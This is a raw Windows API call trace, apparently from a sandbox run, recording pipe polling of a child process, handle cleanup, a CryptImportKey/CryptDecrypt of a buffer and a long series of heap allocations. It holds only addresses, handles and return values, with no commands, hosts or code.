lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.736] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.764] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.764] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.794] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.794] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.825] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.825] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.857] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.857] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.888] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.888] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.919] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.919] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.950] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.950] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.994] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.994] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.013] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.013] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.044] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.044] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.075] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.075] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.106] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.107] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.187] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.187] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.269] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.270] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.512] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.513] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.774] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.775] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.799] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.799] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.853] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.863] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.887] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.898] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.926] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x2d, lpBytesLeftThisMessage=0x0) returned 1 [0126.926] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x2d, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x2d, lpOverlapped=0x0) returned 1 [0126.926] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x0 [0126.926] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.927] GetExitCodeProcess (in: hProcess=0x128, lpExitCode=0x18ed00 | out: lpExitCode=0x18ed00*=0x0) returned 1 [0126.928] CloseHandle (hObject=0x124) returned 1 [0126.928] CloseHandle (hObject=0x128) returned 1 [0126.928] CloseHandle (hObject=0xb8) returned 1 [0126.928] CloseHandle (hObject=0xc0) returned 1 [0126.928] CloseHandle (hObject=0xc4) returned 1 [0126.928] CloseHandle (hObject=0x120) returned 1 [0126.928] GetProcessHeap () returned 0x2a0000 [0126.928] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1050 | out: hHeap=0x2a0000) returned 1 [0126.929] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0126.929] GetProcessHeap () returned 0x2a0000 [0126.929] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7208 | out: hHeap=0x2a0000) returned 1 [0126.931] GetProcessHeap () returned 0x2a0000 [0126.931] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe80) returned 0x2c7208 [0126.931] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f0f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0126.931] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c7208, pdwDataLen=0x18f168 | out: pbData=0x2c7208, pdwDataLen=0x18f168) returned 1 [0126.932] CryptDestroyKey (hKey=0x2c6260) returned 1 [0126.932] GetProcessHeap () returned 0x2a0000 [0126.932] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2bea80 [0126.932] GetProcessHeap () returned 0x2a0000 [0126.932] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1e) returned 0x2c1050 [0126.932] GetProcessHeap () returned 0x2a0000 [0126.932] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2beaa0 [0126.932] GetProcessHeap () returned 0x2a0000 [0126.932] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2c1168 [0126.932] GetProcessHeap () returned 0x2a0000 [0126.932] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2beab0 [0126.932] GetProcessHeap () returned 0x2a0000 [0126.932] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c10a0 [0126.932] GetProcessHeap () returned 0x2a0000 [0126.932] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2beac0 [0126.932] GetProcessHeap () returned 0x2a0000 [0126.932] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2beed0 [0126.932] GetProcessHeap () returned 0x2a0000 [0126.932] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2bead0 [0126.932] GetProcessHeap () returned 0x2a0000 [0126.932] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2c10c8 [0126.932] GetProcessHeap () returned 0x2a0000 [0126.932] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2beae0 [0126.933] GetProcessHeap () returned 0x2a0000 [0126.933] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2beef0 [0126.933] GetProcessHeap () returned 0x2a0000 [0126.933] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2beaf0 [0126.933] GetProcessHeap () returned 0x2a0000 [0126.933] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1e) returned 0x2c11e0 [0126.933] GetProcessHeap () returned 0x2a0000 [0126.933] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2beb00 [0126.933] GetProcessHeap () returned 0x2a0000 [0126.933] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x12) returned 0x2bef10 [0126.933] GetProcessHeap () returned 0x2a0000 [0126.933] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2beb10 [0126.933] GetProcessHeap () returned 0x2a0000 [0126.933] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c1230 [0126.933] GetProcessHeap () returned 0x2a0000 [0126.933] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2beb20 [0126.933] GetProcessHeap () returned 0x2a0000 [0126.933] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2bef30 [0126.933] GetProcessHeap () returned 0x2a0000 [0126.933] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2beb30 [0126.933] GetProcessHeap () returned 0x2a0000 [0126.933] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1e) returned 0x2c12a8 [0126.933] GetProcessHeap () returned 0x2a0000 [0126.933] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2beb40 [0126.933] GetProcessHeap () returned 0x2a0000 [0126.933] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3a) returned 0x2bf528 [0126.933] GetProcessHeap () returned 0x2a0000 [0126.933] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2beb50 [0126.934] GetProcessHeap () returned 0x2a0000 [0126.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c12d0 [0126.934] GetProcessHeap () returned 0x2a0000 [0126.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2beb60 [0126.934] GetProcessHeap () returned 0x2a0000 [0126.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2bef50 [0126.934] GetProcessHeap () returned 0x2a0000 [0126.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2beb70 [0126.934] GetProcessHeap () returned 0x2a0000 [0126.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c12f8 [0126.934] GetProcessHeap () returned 0x2a0000 [0126.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2beb80 [0126.934] GetProcessHeap () returned 0x2a0000 [0126.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2bef70 [0126.934] GetProcessHeap () returned 0x2a0000 [0126.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2beb90 [0126.934] GetProcessHeap () returned 0x2a0000 [0126.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2bef90 [0126.934] GetProcessHeap () returned 0x2a0000 [0126.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2beba0 [0126.934] GetProcessHeap () returned 0x2a0000 [0126.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x26) returned 0x2c4718 [0126.934] GetProcessHeap () returned 0x2a0000 [0126.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2bebb0 [0126.934] GetProcessHeap () returned 0x2a0000 [0126.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2a) returned 0x2c4ac0 [0126.934] GetProcessHeap () returned 0x2a0000 [0126.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2bebc0 [0126.934] GetProcessHeap () returned 0x2a0000 [0126.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x26) returned 0x2c19a8 [0126.935] GetProcessHeap () returned 0x2a0000 [0126.935] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2bebd0 [0126.935] GetProcessHeap () returned 0x2a0000 [0126.935] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x26) returned 0x2c80a8 [0126.935] GetProcessHeap () returned 0x2a0000 [0126.935] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2bebe0 [0126.935] GetProcessHeap () returned 0x2a0000 [0126.935] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2befb0 [0126.935] GetProcessHeap () returned 0x2a0000 [0126.935] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2bebf0 [0126.935] GetProcessHeap () returned 0x2a0000 [0126.935] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c1320 [0126.935] GetProcessHeap () returned 0x2a0000 [0126.935] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2bec00 [0126.935] GetProcessHeap () returned 0x2a0000 [0126.935] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x26) returned 0x2c80d8 [0126.935] GetProcessHeap () returned 0x2a0000 [0126.935] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2bec10 [0126.935] GetProcessHeap () returned 0x2a0000 [0126.935] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1348 [0126.935] GetProcessHeap () returned 0x2a0000 [0126.935] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2bec20 [0126.935] GetProcessHeap () returned 0x2a0000 [0126.935] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2c1370 [0126.935] GetProcessHeap () returned 0x2a0000 [0126.935] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c88a8 [0126.935] GetProcessHeap () returned 0x2a0000 [0126.935] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2e) returned 0x2c4a88 [0126.935] GetProcessHeap () returned 0x2a0000 [0126.936] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c88b8 [0126.936] GetProcessHeap () returned 0x2a0000 [0126.936] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22) returned 0x2c8108 [0126.936] GetProcessHeap () returned 0x2a0000 [0126.936] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c88c8 [0126.936] GetProcessHeap () returned 0x2a0000 [0126.936] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22) returned 0x2c8138 [0126.936] GetProcessHeap () returned 0x2a0000 [0126.936] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c88d8 [0126.936] GetProcessHeap () returned 0x2a0000 [0126.936] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2e) returned 0x2c4a50 [0126.936] GetProcessHeap () returned 0x2a0000 [0126.936] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c88e8 [0126.936] GetProcessHeap () returned 0x2a0000 [0126.936] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2befd0 [0126.936] GetProcessHeap () returned 0x2a0000 [0126.936] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c88f8 [0126.936] GetProcessHeap () returned 0x2a0000 [0126.936] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x26) returned 0x2c8168 [0126.936] GetProcessHeap () returned 0x2a0000 [0126.936] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8908 [0126.936] GetProcessHeap () returned 0x2a0000 [0126.936] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2beff0 [0126.936] GetProcessHeap () returned 0x2a0000 [0126.936] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8918 [0126.936] GetProcessHeap () returned 0x2a0000 [0126.936] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd00 [0126.936] GetProcessHeap () returned 0x2a0000 [0126.936] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8928 [0126.936] GetProcessHeap () returned 0x2a0000 [0126.937] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c1398 [0126.937] GetProcessHeap () returned 0x2a0000 [0126.937] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8938 [0126.937] GetProcessHeap () returned 0x2a0000 [0126.937] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4a18 [0126.937] GetProcessHeap () returned 0x2a0000 [0126.937] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8948 [0126.937] GetProcessHeap () returned 0x2a0000 [0126.937] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22) returned 0x2c8198 [0126.937] GetProcessHeap () returned 0x2a0000 [0126.937] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8958 [0126.937] GetProcessHeap () returned 0x2a0000 [0126.937] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2a) returned 0x2c49e0 [0126.937] GetProcessHeap () returned 0x2a0000 [0126.937] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8968 [0126.937] GetProcessHeap () returned 0x2a0000 [0126.937] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c13c0 [0126.937] GetProcessHeap () returned 0x2a0000 [0126.937] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8978 [0126.937] GetProcessHeap () returned 0x2a0000 [0126.937] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdc40 [0126.937] GetProcessHeap () returned 0x2a0000 [0126.937] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8988 [0126.937] GetProcessHeap () returned 0x2a0000 [0126.937] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2a) returned 0x2c49a8 [0126.937] GetProcessHeap () returned 0x2a0000 [0126.937] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8998 [0126.937] GetProcessHeap () returned 0x2a0000 [0126.937] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2e) returned 0x2c4c80 [0126.937] GetProcessHeap () returned 0x2a0000 [0126.937] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c89a8 [0126.938] GetProcessHeap () returned 0x2a0000 [0126.938] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1e) returned 0x2c13e8 [0126.938] GetProcessHeap () returned 0x2a0000 [0126.938] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c89b8 [0126.938] GetProcessHeap () returned 0x2a0000 [0126.938] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2bf010 [0126.938] GetProcessHeap () returned 0x2a0000 [0126.938] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c89c8 [0126.938] GetProcessHeap () returned 0x2a0000 [0126.938] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2bf030 [0126.938] GetProcessHeap () returned 0x2a0000 [0126.938] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c89d8 [0126.938] GetProcessHeap () returned 0x2a0000 [0126.938] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2a) returned 0x2c4c48 [0126.938] GetProcessHeap () returned 0x2a0000 [0126.938] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c89e8 [0126.938] GetProcessHeap () returned 0x2a0000 [0126.938] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x24) returned 0x2c81c8 [0126.938] GetProcessHeap () returned 0x2a0000 [0126.938] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c89f8 [0126.938] GetProcessHeap () returned 0x2a0000 [0126.938] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x32) returned 0x2c6260 [0126.938] GetProcessHeap () returned 0x2a0000 [0126.938] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8a08 [0126.938] GetProcessHeap () returned 0x2a0000 [0126.938] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x26) returned 0x2c81f8 [0126.938] GetProcessHeap () returned 0x2a0000 [0126.938] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8a18 [0126.938] GetProcessHeap () returned 0x2a0000 [0126.938] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28) returned 0x2c8228 [0126.939] GetProcessHeap () returned 0x2a0000 [0126.939] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8a28 [0126.939] GetProcessHeap () returned 0x2a0000 [0126.939] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28) returned 0x2c8258 [0126.939] GetProcessHeap () returned 0x2a0000 [0126.939] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8a38 [0126.939] GetProcessHeap () returned 0x2a0000 [0126.939] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2c1410 [0126.939] GetProcessHeap () returned 0x2a0000 [0126.939] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8a48 [0126.939] GetProcessHeap () returned 0x2a0000 [0126.939] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1e) returned 0x2c1438 [0126.939] GetProcessHeap () returned 0x2a0000 [0126.939] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8a58 [0126.939] GetProcessHeap () returned 0x2a0000 [0126.939] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c1460 [0126.939] GetProcessHeap () returned 0x2a0000 [0126.939] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8a68 [0126.939] GetProcessHeap () returned 0x2a0000 [0126.939] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x36) returned 0x2c62a0 [0126.939] GetProcessHeap () returned 0x2a0000 [0126.939] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8a78 [0126.939] GetProcessHeap () returned 0x2a0000 [0126.939] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2bf050 [0126.939] GetProcessHeap () returned 0x2a0000 [0126.939] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8a88 [0126.939] GetProcessHeap () returned 0x2a0000 [0126.939] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c1488 [0126.939] GetProcessHeap () returned 0x2a0000 [0126.939] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8a98 